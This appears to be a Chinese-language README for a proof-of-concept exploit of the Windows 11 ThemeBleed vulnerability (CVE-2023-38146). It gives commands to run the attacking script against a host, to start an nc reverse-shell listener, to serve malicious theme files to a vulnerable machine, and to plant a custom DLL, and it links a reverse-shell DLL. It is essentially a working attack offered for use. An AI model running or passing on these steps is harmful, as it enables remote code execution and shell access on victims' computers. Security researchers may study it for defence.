
使用 Python 和 impacket 编写的 ThemeBleed Windows 11 CVE-2023-38146 PoC。https://jnns.de/posts/cve-2023-38146-poc/
深受 https://github.com/gabe-k/themebleed 的启发,该工具仅能在 Windows 上运行(这也是我决定编写本工具的原因)。
使用了来自 impacket smbserver.py 的修改代码 (https://github.com/fortra/impacket/blob/master/impacket/smbserver.py)
博客文章: https://jnns.de/posts/cve-2023-38146-poc/
安装依赖并运行该应用:
pip3 install -r requirements.txt
python3 themebleed.py -r HOST -p 4711
# start nc listener in other shell
rlwrap -cAr nc -lvnp 4711
在易受攻击的机器上使用 "evil_theme.theme" 或 "evil_theme.themepack"。
搞定!
将带有导出函数 "VerifyThemeVersion" 的 DLL 放入 "./td/" 文件夹中,并将其命名为 "Aero.msstyles_vrf_evil.dll"。你可以通过谷歌搜索找到示例 DLL,或者使用我的示例 https://github.com/Jnnshschl/ThemeBleedReverseShellDLL。
pip3 install -r requirements.txt
python3 themebleed.py -r HOST --no-dll
# start nc listener in other shell
rlwrap -cAr nc -lvnp 4711